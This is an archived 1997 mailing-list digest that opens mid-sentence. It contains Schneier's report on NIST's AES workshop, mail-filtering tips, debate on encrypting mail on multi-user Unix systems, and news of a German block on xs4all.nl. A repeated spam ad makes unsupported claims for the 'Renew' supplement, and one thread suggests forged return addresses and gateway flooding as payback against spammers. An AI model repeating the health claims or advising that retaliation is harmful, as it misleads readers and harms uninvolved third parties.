expensive. In fact, just the opposite is true. We at Cosmic Enterprises have gone to great lenghts to provide our customers with he most value-packed product that has ever been placed on the market. The pharmacalogical make up of Renew has been very well researched to ensure the synergistic properties of the ingredients were not sacrificed. The majority of products on the market are made up of a single ingredient and the rest of it is composed of fillers. Just to give you an idea of how much filler material we�ve consumed over the years, listen to this example. Renew is packed in a "00" {double ought} capsule which can hold from 850 milligrams up to well over 1000 milligrams of material depending upon the molecular weight of the individual ingredients, most single ingredient products that are available in capsule form use a "0" {single ought} capsule which can hold up to 550 milligrams of material or possibly much more depending on the weight. Now let�s say that this product has 25 milligrams of active ingredient, then why is the pill so big? It doesn�t take a mathematician to figure out that most of your money just went toward fillers instead of what you thought you were getting. Also, many of these products come in tablet form, which means that they are capable of holding much more because the pill press compresses the ingredients. So even though the tablet or caplet may be large, that doesn�t mean there�s alot of active ingredients. There are, however, many multible ingredient products out there, some of them are very good I might add. The truth is though, many products only use one or two main ingredients and trivial amounts (sometimes reffered to as window dressings) for the remainder of the ingredients. The purpose here is not to hold any particular company in judgement, but to demonstrate the difference between Renew and many of the products being bought by millions of unsuspecting people every day. Renew contains less than 100 milligrams (approximately) of fillers and each ingredient in Renew is, according to the most recent research studies, present in effective dosage levels . . . Not just window dressings. That means that in that "00" {double ought} capsule that is capable of holding up to 1000+ milligrams of material contains less than 100 milligrams of filler. There is over 1100 milligrams of active ingredients in Renew. Furthermore, if there are other products that can make this statement, I would like to see that people can still get a good deal. The kind of deal where you really get what you paid for. ########################################################## For More Information Contact: Chris Miller (318) 588 - 4473 cosmic at info.mwci.net ########################################################## From cm at subcellar.mwci.net Tue Apr 15 19:10:18 1997 From: cm at subcellar.mwci.net (cm at subcellar.mwci.net) Date: Tue, 15 Apr 1997 19:10:18 -0700 (PDT) Subject: URGENT Message-ID: <199704160151.UAA24491@subcellar.mwci.net> Hello; "My research indicates the following material is of interest to you. If you prefer not to be on this mailing list, please let us know, and you will be promptly removed." I am on a mission, no I'm on a CRUSADE to educate people that there are no "GET RICH QUICK" programs, only honest or dishonest opportunities. There are also, no "Miracle Products" or "Cure All Products". Remember, what you see isn't always what you get. Anything that has the potential to be a money-earner will take some work, and sometimes alot of work. I (Christopher Miller) started this Company with the belief that it shouldn't be necessary for you to spend a fortune to be healthy and feel good. Also, I believe that there are far too many companies that offer Business Opportunities only to end up draining the Distributors bank account instead of filling it. There are also many deceptive trade practices taking place everyday where Con-Artists take advantage of unsuspecting people. Our products are very competitively priced and Distributorships are very inexpensive to operate. Cosmic Enterprises, a world leader in manufacturing quality nutritional products. With its headquarters located in Iowa, La., Cosmic Enterprises has Independant Representatives in the U.S., Indonesia and the United Kingdom. President Christopher Miller who is the founder, started his Nutritional career working from home in his spare time, doing research on his own value packed Nutritional Energy Formula. This energy product is the result many months of research, shopping and testing. I was searching for a product that would satisfy the need for sustained energy levels, increased mental alertness, balanced blood pressure and blood sugar levels along with antioxidant prtection and improved hormone activity. Not finding one, I started on a quest to find a manufacturing company that would want to do things my way. After many months of searching and negotiations the result of my quest was born. I called the formula Renew because it does so many things. It literally enhances every one of the body processes and functions. If all this sounds too good to be true, it's because we have been programmed by large corporations all these years to beleive that the things we need to healthy are very very expensive. In fact, just the opposite is true. We at Cosmic Enterprises have gone to great lenghts to provide our customers with he most value-packed product that has ever been placed on the market. The pharmacalogical make up of Renew has been very well researched to ensure the synergistic properties of the ingredients were not sacrificed. The majority of products on the market are made up of a single ingredient and the rest of it is composed of fillers. Just to give you an idea of how much filler material we�ve consumed over the years, listen to this example. Renew is packed in a "00" {double ought} capsule which can hold from 850 milligrams up to well over 1000 milligrams of material depending upon the molecular weight of the individual ingredients, most single ingredient products that are available in capsule form use a "0" {single ought} capsule which can hold up to 550 milligrams of material or possibly much more depending on the weight. Now let�s say that this product has 25 milligrams of active ingredient, then why is the pill so big? It doesn�t take a mathematician to figure out that most of your money just went toward fillers instead of what you thought you were getting. Also, many of these products come in tablet form, which means that they are capable of holding much more because the pill press compresses the ingredients. So even though the tablet or caplet may be large, that doesn�t mean there�s alot of active ingredients. There are, however, many multible ingredient products out there, some of them are very good I might add. The truth is though, many products only use one or two main ingredients and trivial amounts (sometimes reffered to as window dressings) for the remainder of the ingredients. The purpose here is not to hold any particular company in judgement, but to demonstrate the difference between Renew and many of the products being bought by millions of unsuspecting people every day. Renew contains less than 100 milligrams (approximately) of fillers and each ingredient in Renew is, according to the most recent research studies, present in effective dosage levels . . . Not just window dressings. That means that in that "00" {double ought} capsule that is capable of holding up to 1000+ milligrams of material contains less than 100 milligrams of filler. There is over 1100 milligrams of active ingredients in Renew. Furthermore, if there are other products that can make this statement, I would like to see that people can still get a good deal. The kind of deal where you really get what you paid for. ########################################################## For More Information Contact: Chris Miller (318) 588 - 4473 cosmic at info.mwci.net ########################################################## From schneier at counterpane.com Tue Apr 15 19:12:18 1997 From: schneier at counterpane.com (Bruce Schneier) Date: Tue, 15 Apr 1997 19:12:18 -0700 (PDT) Subject: Meeting Report: "Developing the Advanced Encryption Standard" Message-ID: Meeting Report: "Developing the Advanced Encryption Standard" Workshop 15 April 1997 by Bruce Schneier NIST held a workshop to discuss the proposed Advanced Encryption Standard (AES) today. About 70 people, from government and industry, attended. Specifically, the workshop was convened to discuss the minimum acceptability requirements, evaluation criteria, and submission requirements for the AES. First my report, and then some opinion. Miles Smid presented NIST's goals for AES. They wanted a strong encryption block encryption algorithm for government and commercial use, one that would support "standard codebook modes" of encryption, "significantly more efficient than triple DES," and with a variable key size. Smid then summarized the comments and their proposed responses. Thirty-three comments (via paper and e-mail) were received in response to the 2 January 1997 Federal Register. These comments were all distributed at the workshop. Responses to comments on the "Minimum Acceptability Requirements and Evaluation Criteria." (Please note that these responses are only "proposed responses," and are not the official responses of NIST.) 1. NIST agrees that all unclassified analyses will be made public, and encourages that the mathematical rationale behind algorithms be presented along with the algorithms. 2. NIST prefers a block cipher to a stream cipher because it would be compatible with DES, and because existing standards specify block modes. Still, they are open to a discussion on stream ciphers. (They got a lot of discussion, but seemed to ignore it.) They are also open to block sizes larger than 64 bits. (The general consensus was 128 bits.) They would prefer to have a single algorithm in AES, as opposed to a family of algorithms (this prompted discussion as well). 3. NIST is open to a discussion on key length: whether it should be a single large keylength or a variable keylength. NIST also "intends to recognize triple-DES when it becomes an ANSI standard." NIST wants the AES to offer significant advantages over triple-DES. (They said this over and over. Their opinion was that if the process just recognized triple-DES, then it wasn't really worth bothering.) 4. NIST pointed out that requiring both hardware and software implementations precluded the submission of algorithms that could be implemented only in hardware. (Remember the security restrictions imposed on Skipjack.) 5. Regarding patent-free implementations, NIST strongly prefers a royalty-free world-wide implementation. They will accept patented algorithms, but will heavily favor royalty-free algorithms. 6. Comments on the judging criteria: Regarding security, NIST strongly encourages a public explanation of the rationale behind any constants or tables, and a statement of the work factor required to attack the algorithm; they will judge all attacks below the work factor for practicality. Regarding computational efficiency, NIST will favor efficiency on 32-bit processors and short key-setup time, will test efficiency on a little endian processor, and will publish the specs of the test system. They also encourage two submissions: reference (possibly in Java) and optimized (in C). Regarding memory requirements, NIST will measure memory requirements for C implementation on a single reference platform (presumably a Pentium Pro), although submitters are welcome to provide results for other platforms. Regarding hardware and software suitability, NIST believes that the primary applications for the AES are for large processors (although they would "value" flexibility to run on 8-bit processors), and do not believe that they can require hardware gate-count values from submission. Regarding simplicity, NIST intends to evaluate algorithms on their simplicity of design (is there a rationale, or is the algorithm just a hodge-podge?) and implementation. Regarding flexibility, NIST received many conflicting comments on the value of flexibility versus the value of fixing parameters. NIST intends to evaluate algorithms on their ability to implement on differing platforms for various applications. They will consider defining a standard interface for testing. Regarding variant algorithms, they worry about the difficulty of analysis and the loss of compatibility; they assume the number of rounds would be fixed for any given key size. 7. NIST agrees that AES will be used for 20-30 years, that security is more important than efficiency or flexibility, and that efficiency is of equal importance to flexibility. They have no control over export control laws, and will comply with any export control laws. The design should be for a strong algorithm, regardless of the legal climate. NIST reiterated that the AES should be at least as secure as triple-DES. Jim Foti provided proposed responses to comments on the "Proposed Draft Submission Requirements." NIST will specify block and key sizes, and will encourage submitters to include design rationale. They will ask for a reference implementation as well as an optimized implementation (suitable for a IBM-compatible Pentium PC running Windows 95 with 16MB of RAM). They will ask for efficiency estimates for various platforms, including bytes/sec for encryption, decryption, and key setup, as well as gate counts and memory requirements for hardware implementations. They would like a graph with a plot of speed versus memory. They will require a suite of test vectors to ensure all implementations of the algorithm are correct, and a statement regarding possible patent issues (legal issues may be appropriate). They will require a list of any known weak or equivalent keys, complementation properties, etc., a mathematical rationale for any items that could hide a trap door, and a reference list of any publications that discuss cryptanalysis of the algorithm. NIST will not accept proprietary submissions (with the possible exception of the optimized implementation). The submitter must agree to waive copyright on submitted materials (again, with the possible exception of the optimized implementation). And the submitter must provide a statement of expected strength of the algorithm, with supporting rationale. Of course submissions from outside the U.S. would be welcome. Ed Roback discussed the selection process. We've had the draft criteria and submission requirements (1/2/97), the public comment process (closed on 4/2/97), and the workshop on criteria and submission requirements (today). NIST estimates that it will take three months to prepare a public call for submissions, which they will publish in the Federal Register. The call for submissions would be closed after four to six months. Then, they would take about two months to review submissions for completeness and correctness (not security), and then they would publish everything and invite the public to review and analyze the algorithms. There would be some workshop early on in the process where the submitters could campaign for their particular algorithm. After about 6 months, though would be an interim workshop where people could comment on the algorithms. (NIST doesn't plan on funding cryptanalysis, or offering prizes our bounties for successful cryptanalysis.) NIST would think about this for a while (three months), and would then publish a list of narrowed candidates (exactly how narrowed is unknown). After another six to nine months of public comments, there would be a final workshop. Then, NIST would review everything (about two months) and publish a draft FIPS. Another three months for comments on the draft FIPS, a month to revise the draft, and then the Secretary of Commerce approves the FIPS. Times are approximate (of course), but NIST expects the process to take "well over two years." It was pretty much universally thought that this schedule is wildly optimistic. NIST doesn't know if this algorithm will be a replacement for DES, or an alternative to DES with higher security. With DES and triple-DES so entrenched, it will be impossible to migrate to AES quickly. (Remember that the NIST standard only applies to U.S. Government systems, although they are often used in broader contexts.) Discussion followed. All the pre-lunch arguments were about block and key size. Block sizes of 64 bits and 80 bits were quickly eliminated, as was a 64-bit keysize. People wanted variable keysizes of some subset of 128, 192, 256, or even 512 bits, and block sizes of either 128 bits or 128 and 256 bits. There was no discussion of stream ciphers, or using block ciphers as hash functions. NIST has a hard time figuring out how to measure hardware efficiency. They'd like to have definitive metrics (like there will be for software) but are unwilling to force submitters to provide VHDL code, or gate counts, or whatever. NIST talked about what to do about "tweaking" algorithms after submission. What if a break is found, but a simple fix prevents the attack? What if someone submits an algorithm and someone else proposes a tweak? These questions were not answered. They also debated whether or not the optimized implementation of the algorithm could be proprietary. Pros are that it encourages clever implementations, and implementations from people other than the inventor. Cons are that it withholds information from the public, and that it doesn't allow independent verification of proprietary implementations. One halfway proposal was to make optimized implementations public, but allow owners to retain copyright. The audience seemed to prefer that optimized implementations be kept secret by NIST. There were further discussions on the legal issues. When do the inventors give up their rights to the algorithm? What rights, exactly, do they give up? What about patents that an inventor might unknowingly infringe upon? What is an inventor submits an algorithm and then, a year and a half later, tries to pull it out of the process? It was almost universally agreed that these are hard questions. And in a final show of hands, ten people admitted that they were "thinking of submitting an algorithm." Editorialization time.... Before I showed up, the major question in my mind was whether this was a serious attempt to develop a secure encryption algorithm to replace DES, or just another red herring by the government to keep us busy while they go on eavesdropping. Now I believe that the NIST representatives at the meeting are sincere, but I still don't know how they fit in a larger context This is serious business. Any algorithm proposed in 1997 won't be approved until at least 2000. It will be a standard for 20-30 years, in legacy systems for at least another ten, securing data that might need to be secured for another 20. This means we are trying to estimate security in the year 2060. I can't estimate security ten years from now, let alone 60. The only wise option is to be very conservative. I'm not sure that NIST knows what it wants. Technically, a FIPS is only for government use, but NIST would like everyone to use it. Communities like banking are likely to adopt a FIPS right out of the box; other organizations will view a U.S. Government standard with suspicion. Still, NIST needs to decide if they want this AES to be all things to all people, or a specific encryption algorithm to satisfy a specific set of requirements. Everyone in the audience had different ideas about this. The audience was a mix of government agents, corporate representatives, academics, and random yahoos. Of course, the random yahoos talked for more than their share. My worry is that NIST will get many more submissions than they bargained for; I think that every random yahoo is going to submit his pet algorithm. NIST hopes the community will be able to quickly separate the random stupid algorithms from the serious submissions, but I am less sure that politics will allow NIST to. Assuming a 128-bit block requirement doesn't preclude everything already done, I urge companies with patented or patent-pending algorithms to give up royalties and submit their algorithms. I assume CAST (royalty-free from Northern Telcom), SAFER (royalty free from Cylink), Blowfish (unpatented), and Square (unpatented) will be submitted; I would also like to see RC5 from RSADSI, IDEA from Ascom-Systec, and Khufu from Xerox. Failing that, I would like to see new submissions out of the various cryptographic research institutions. The yahoos are going to submit regardless; we need at least a small pile of quality algorithms. But is there enough time for people to invent strong 128-bit block ciphers? Probably not. One alternative is to take existing 64-bit block ciphers, and then use a 4-round Luby-Rackoff construction to create a 128-bit block variant. Another is to give people more time. Both were talked about. I would like them to approve triple-DES as an interim standard, and then take all the time they need for a secure 128-bit block cipher. So now we wait for the call for submissions. /s/ Bruce Schneier ************************************************************************ * Bruce Schneier 2,000,000,000,000,000,000,000,000,002,000, * Counterpane Systems 000,000,000,000,000,000,002,000,000,002,293 * schneier at counterpane.com The last prime number...alphabetically! * (612) 823-1098 Two vigintillion, two undecillion, two * 101 E Minnehaha Pkwy trillion, two thousand, two hundred and * Minneapolis, MN 55419 ninety three. * http://www.counterpane.com ************************************************************************ From ichudov at algebra.com Tue Apr 15 19:29:12 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 15 Apr 1997 19:29:12 -0700 (PDT) Subject: How to IGNORE massive To: and Cc: spams In-Reply-To: Message-ID: <199704160224.VAA00425@manifold.algebra.com> try using fetchmail linstead of popclient. fetchmail passes all emails on to the local (localhost) sendmail. igor =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= wrote: > > On Sun, 13 Apr 1997, Igor Chudov @ home wrote: > > > Dr.Dimitri Vulis KOTM wrote: > > > > > > ichudov at algebra.com (Igor Chudov @ home) writes: > > > > > > > > [this is only of interest to UNIX(tm) users. Windows users, please ignore] > > > > > > I suspect that a typical Windows user with a POP account usually has a unix > > > account and a home directory (although its shell may be /etc/false or some > > > such); he may be able to ftp to it and create a .forward file pointing > > > to procmail, who will look at the incoming mail before passing on to his > > > PPP. I don't really know shit about this, so don't flame me if this > > > doesn't work. :-) > > > > If the user shell is /bin/false, most likely the .forward file will not > > be able to invoke any programs. > > > > - Igor. > > > > > > > This is a real problem to me. As I recieve mail via cslip using > popclient there seems to be no way to get it sorted. Though I'm not a > programmer at all I could instruct procmail to do what I want. It works > fine when I'm sending mail from one account to the other locally. You can > find information on procmail on the net (and this list). But nobody seems > to know about popclient, which according to the man-pages may be > influenced by an awk-script to do sorting. > Does anybody know about an example script on that? An URL? > Not that I know about awk. But you can't do anything w/o trying. > > -Tom > > ################################################################################ > Heinz-Juergen Keller hjk at ddorf.rhein-ruhr.de > Derendorfer Str.36 voice:49-211-464314 > 40479 Duesseldorf > Germany > ################################################################################ > - Igor. From ichudov at algebra.com Tue Apr 15 19:45:04 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 15 Apr 1997 19:45:04 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <199704160242.VAA00733@manifold.algebra.com> Eric Nystrom wrote: > > On Tue, 15 Apr 1997 ichudov at algebra.com wrote: > > > I would not call it truly "utopian". There is not much that's needed to > > achieve reasonable personal security, protecting from attacks from the > > Internet -- an individual (pesonal) computer system that offers no > > internet services. Could be bought for $300 or less. > > That makes a lot of sense for data security in the general sense, but I'm > uncertain how useful that would be in terms of helping the user have more > secure email. Is there an offline mail reader for standard Unix systems > that would run on a platform like you describe? > Yes, there is one. - Igor. From frantz at netcom.com Tue Apr 15 19:45:14 1997 From: frantz at netcom.com (William S. Frantz) Date: Tue, 15 Apr 1997 19:45:14 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <199704160244.TAA10775@netcom6.netcom.com> > It's absolutely true that nothing on a centralized Unix machine is truly > secure. However, is abandoning all pretenses of crypto and security in > favor of holding out for a utopian ideal really the best solution? Does > using encryption for email on multiuser machines actually hurt the cause > of the security community in the long run? > > (I'm not asking rhetorical questions here -- I'm truly looking for some > thoughts on this.) Since security is not binary (i.e. talking of secure and insecure is nonsense. You must talk of more or less secure.), you have to look at the threats. If you are sending email from a multi-user Unix machine, encrypting it removes some threats (e.g. wiretaping) without adding any new threats. (There are still the continuing parade of UNIX holes based on the C string model.) I would say that if users don't think they are safe, just think they are a bit safer, then encrypting on a multi-user machine is a good thing because it is more secure than not encrypting. It is still less secure than a single-user system with Tempest shielding. ----------------------------------------------------------------- Bill Frantz Periwinkle -- Computer Consulting (408)356-8506 16345 Englewood Ave. frantz at netcom.com Los Gatos, CA 95032, USA From jesaxman at eos.ncsu.edu Tue Apr 15 19:46:33 1997 From: jesaxman at eos.ncsu.edu (Jim Saxman) Date: Tue, 15 Apr 1997 19:46:33 -0700 (PDT) Subject: FORBES on Phil Zimmermann and PGP Message-ID: <3.0.1.32.19970415224551.00694880@pop-in.ncsu.edu> -----BEGIN PGP SIGNED MESSAGE----- A decent non-technical article... >By making a martyr of programmer Philip Zimmermann, >the feds gave a giant boost to his encryption software. > > Banned in Washington > By Scott Woolley >http://www.forbes.com/forbes/97/0421/5908162a.htm Also, these appear to be prevous articles in FORBES >Can you get rich off a 232-year-old mathematical >equation? Some entrepreneurs specializing in computer >encryption are going to try�if they can stop squabbling >long enough to divide the spoils. > > Patented secrecy > By Simson L. Garfinkel >http://www.forbes.com/extra/special1.htm and >Are you worried that a Nosey Parker, a competitor a >G-man could pry into your computerized files? Check out >this encryption software. > > How to keep a secret > By Susan Adams >http://www.forbes.com/extra/5707108a.htm -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM1Q9Qvby2L5eXWRpAQE1fAQAmBKQ0yS8FOIEepWzNzzROYpsvLuAimQ1 luzyjv+e6wlxoYGpsMaxJebpGfrQPms1vP63AoJj6tprlBVayjrhj4bF3PJoRneD zGIkshuBGGw7jcZ3XsWKReb/7q0JiaNz0BMwUIrE+j/+jGAdjbzmE95Mbxkt0nlV CVR9gF5by1E= =eKIw -----END PGP SIGNATURE----- Jim Saxman jesaxman at eos.ncsu.edu PGP KeyID: 5E5D6469 From ichudov at algebra.com Tue Apr 15 20:06:42 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 15 Apr 1997 20:06:42 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <199704160244.TAA10775@netcom6.netcom.com> Message-ID: <199704160255.VAA00973@manifold.algebra.com> William S. Frantz wrote: > > It's absolutely true that nothing on a centralized Unix machine is truly > > secure. However, is abandoning all pretenses of crypto and security in > > favor of holding out for a utopian ideal really the best solution? Does > > using encryption for email on multiuser machines actually hurt the cause > > of the security community in the long run? > > > > (I'm not asking rhetorical questions here -- I'm truly looking for some > > thoughts on this.) > > Since security is not binary (i.e. talking of secure and insecure is > nonsense. You must talk of more or less secure.), you have to look at the > threats. If you are sending email from a multi-user Unix machine, encrypting > it removes some threats (e.g. wiretaping) without adding any new threats. > (There are still the continuing parade of UNIX holes based on the C string > model.) > > I would say that if users don't think they are safe, just think they are > a bit safer, then encrypting on a multi-user machine is a good thing because > it is more secure than not encrypting. It is still less secure than a > single-user system with Tempest shielding. right, the real problem is that users start thinking that they are really safe, and start doing dumb things. - Igor. From alan at ctrl-alt-del.com Tue Apr 15 22:36:22 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Tue, 15 Apr 1997 22:36:22 -0700 (PDT) Subject: What's good for the goose... In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com> Message-ID: <3.0.1.32.19970415222927.03196100@mail.teleport.com> At 06:46 PM 4/15/97 -0400, C Matthew Curtin wrote: >>>>>> "Chris" == Chris DiBona writes: > >Chris> Make your return address "wallace at cyberpromo.com" , that's >Chris> right... Good old spamford wallaces email address needs a >Chris> little traffic. You'll want to change your SIG so that people >Chris> don't freak out on you. > >Something that I've been toying with is setting up an alias that all >of the fools who spam somehow get subscribed to. Procmail then >filters incoming email for spam. Rejects are redirected to the alias, >rather than simply /dev/null. Those that slip through procmail get >"bounced" to the alias. And, of course, there's always the option of >instead piping the spam to a program that sends the mail to the alias >from one of its own members. If you REALLY wanted to be evil, you could just find a handy mail to news gateway and hand off their message to *.test. Of course most spammers do not use a valid return address, so such retaliation is not that useful... --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From harka at nycmetro.com Tue Apr 15 23:23:36 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 15 Apr 1997 23:23:36 -0700 (PDT) Subject: xs4all.nl Message-ID: -----BEGIN PGP SIGNED MESSAGE----- The DFN - science network in Germany has blocked access to the dutch xs4all.nl server after an order of the Bundeskriminalamt (BKA), the german FBI. Users of DFN have confirmed that today. If somebody wants to follow up on it, the public relation office of DFN can be reached at (49) 030 - 884-29942 (Miss Quandel). Ciao Harka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM1MgGTltEBIEF0MBAQHUkAf+LUKqgm6dz7jhKQtrJPZsHk6PSZyGnK43 1xHprmRfk9yAuyKiXIPbkyEmM97h0Yczhv70ngGFVtRogm/LaGN0IiA33OY8GXVi sdmKG5u9kDt3fagWxglrw3xTKeff9orwUdUUVJfWG2mmNxtG3DkDCIxlEIRM1sP+ ML3N1KayyRkZLwBVu/kpI+8I3dswYTApTs9GnBTRGssdXbitBWTBsXvRREPpTufO WEAXdwvZQf8Cr4PGco/dtvyiVE+wZhOUblpcpEqBVkLJp+pmRxxg8GcUu7FEANKi FqehcaPpQnwsHmY9ujFEUJaiwa3XxVDUBRVt+FHAO3/JkmqkL12dpA== =8wdj -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From harka at nycmetro.com Tue Apr 15 23:25:36 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 15 Apr 1997 23:25:36 -0700 (PDT) Subject: Introducing newbies t Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I've just written a brief installation guide for PGP called "PGPSteps". It's not meant to compete with any of the FAQ's but rather intended to be a short and easy reference for DOS/Windows users, who want to install PGP. If you are interested in a copy, please reply privately... Comments are very welcome as well. Ciao Harka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM1MgbjltEBIEF0MBAQF55Af/U2EhGXlGqqaWgMATDw6xAolORC/iuvFR UoQAEX8bw1siwm1txR74xbhTc6N2BgVJy1hxMA57B90gKOkOpjW9eax/4X6Psh4d X88te2Cy5f2ltvqecSrCIrKAkf4CTk1RUZYj0MnreKRZXlmlWCTb0gH8lT1Ns1KJ RhhquJoUYmXP0A1uSVGhOyGCVijlny/V8mM06qeIBPnWbP9Pv6CWim/RSzTuDFL8 O3GOcZS7+UiZ/P0o09a6HOo7dwutMKNe64PMwZrR6yZSTMRlWTYR76g7fqlU5T4t rdGE2poxf0P6vK3xVz5OZKQzFR0NvEgDlfoR/GbplpgeTBRNLeMfQQ== =iwVf -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From bubba at dev.null Wed Apr 16 00:40:08 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Wed, 16 Apr 1997 00:40:08 -0700 (PDT) Subject: WebWorld 33-34 Message-ID: <3354828A.5DDC@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 11166 bytes Desc: not available URL: From jer+ at andrew.cmu.edu Wed Apr 16 05:56:51 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 16 Apr 1997 05:56:51 -0700 (PDT) Subject: A Rumor and Reputation Paradox... In-Reply-To: Message-ID: <0nJAm1200YUd01pRY0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Re: Rumor's regarding Tommy Hilfinger's remakrs, I'm not sure it's as simple as he said/he didn't say. True, he didn't spurt racism on Oprah, however, has some quotes that indicate that he might very well have made comments derisive to black culture if he *had been on Oprah. Mayhaps the reason that the rumors are so persistant is that they are so plausible. In that case, maybe they shouldn't been seen so much as a failure of the reputation economy... Qoutes from Tommy Hil: "Many of these people would rather have a Rolex than a home" "I don't condone violence, and I think 'gangsta rap' should be outlawed, but the music is powerful because the musicians are irreverent and don't follow the rules. I don't tell them where to make their money, and I don't tell them where to spend their money." Tommy Hil and other "street" fashion designers are about exploitation. There is no respect or community there. I suspect the rumors' success in bsed on that. They are false, but they represent truthful attitudes. Bleah, enought literary criticism for today, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM1TMfskz/YzIV3P5AQEgnAMAuW8+AYTaXUcXtvRMlXE0B6flWRYSnVoO mZw/W4NQP9GD/FJe5bHPxYG1IVmzD7GM7fWWLAfztu5Mjt/qZYGpWfPNKjWEerFA iqB+rriGw8GoUTrC/6vb/wK1L+MOnBY0 =vVJW -----END PGP SIGNATURE----- From nexus at eskimo.com Wed Apr 16 07:07:46 1997 From: nexus at eskimo.com (Brian C. Lane) Date: Wed, 16 Apr 1997 07:07:46 -0700 (PDT) Subject: How to IGNORE massive To: and Cc: spams In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Tue, 15 Apr 1997, [iso-latin-de] Heinz-J�rgen Keller wrote: > This is a real problem to me. As I recieve mail via cslip using > popclient there seems to be no way to get it sorted. Though I'm not a > programmer at all I could instruct procmail to do what I want. It works > fine when I'm sending mail from one account to the other locally. You can I'm using fetchpop under Linux to grab my email. It has an option to feed it to procmail for delivery to your local mailbox. It works great for me. You should be able to find it at the usual Linux mirror sites. - --------------------------------------------------------------------------- Nexus Computing | Hardware and Software Design www.eskimo.com/~nexus | Motorola, Microchip and Linux solutions - --------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv Comment: Processed by mkpgp, a Pine/PGP interface. iQCVAwUBM1RUTaQxGtxXsXypAQEmxgQAkKDeVNocxPpGq4y1aSy72/1fy1i9GrGI +gs5sS6tBEb/uALVDXURVbaaT+ngIbZW7aJzbaBuqAu7eLMYjKwx6cAXuc0EL0LN QGeV9HVD62VGaKQAPaDMFG89GV3DyETac5xbTHCrNRrhj2ACei4tpG52vFyMv9V4 oC87jbJOiv4= =ykLg -----END PGP SIGNATURE----- From nobody at REPLAY.COM Wed Apr 16 07:54:43 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 16 Apr 1997 07:54:43 -0700 (PDT) Subject: xs4all.nl In-Reply-To: Message-ID: <199704161454.QAA12613@basement.replay.com> > Users of DFN have confirmed that today. If somebody wants to follow > up on it, the public relation office of DFN can be reached at (49) > 030 - 884-29942 (Miss Quandel). Or try and/or . From whgiii at amaranth.com Wed Apr 16 08:57:39 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 16 Apr 1997 08:57:39 -0700 (PDT) Subject: xs4all.nl In-Reply-To: Message-ID: <199704161554.KAA02879@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 04/16/97 at 01:17 AM, harka at nycmetro.com said: >The DFN - science network in Germany has blocked access to the dutch >xs4all.nl server after an order of the Bundeskriminalamt (BKA), the german >FBI. More like the old Gestapo. >Users of DFN have confirmed that today. If somebody wants to follow up on >it, the public relation office of DFN can be reached at (49) 030 - >884-29942 (Miss Quandel). Book burning is sceduled for next week film at 11. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Air conditioned environment - Do not open Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM1UFUY9Co1n+aLhhAQH1VwP/Y1KloIfGliZMAvvSDOb9BvLo1aGdC9za Cx+DH0QsWtgHuoLgJMmilbUS8ccB0Ig0nir0Cbe9dCwznIvnt4HXWwLR+xy8ihFY lceZvfgEZSODIjeRwG5IA9ImLtXgVzISMUboeOen99M2/LpUgQLPjpTZuj9lWTUh JddaqRfPrkw= =UUHw -----END PGP SIGNATURE----- From dgilx at mindspring.com Wed Apr 16 10:05:13 1997 From: dgilx at mindspring.com (David Gilchrist) Date: Wed, 16 Apr 1997 10:05:13 -0700 (PDT) Subject: Cokie Roberts on How Internet Is Ruining Representative Government Message-ID: <1.5.4.32.19970416170358.00686f7c@pop.mindspring.com> This is days old, but I had to get permission to forward it. I thought it was right on the money and I haven't seen or missed any discussion on it. David Date: Sun, 13 Apr 1997 08:01:20 -0400 From: Stephen Gilchrist Reply-To: sgileod at sprintmail.com Organization: None References: <1.5.4.32.19970413023354.006cd1fc at pop.mindspring.com> The Roberts are part of the problem, perfectly representing the nauseating symbiotic relationship between journalists, politicians and the few organizations which really shape legislation. They aren't really concerned about the potential move from a representative to a direct government. . .PACs have already done that. What they're concerned about is a real opportunity to upset the status quo. This is merely an chance for those who have become effectively disenfranchised (by not belonging to a PAC) to have their views considered. The fact that this may actually help remove money from the equation and will allow more people access to a forum and answers not shaped by media reporting is probably a real threat to those who've grown comfortable and rich with the current way of doing business. No wonder they're shuddering. From lucifer at dhp.com Wed Apr 16 11:46:32 1997 From: 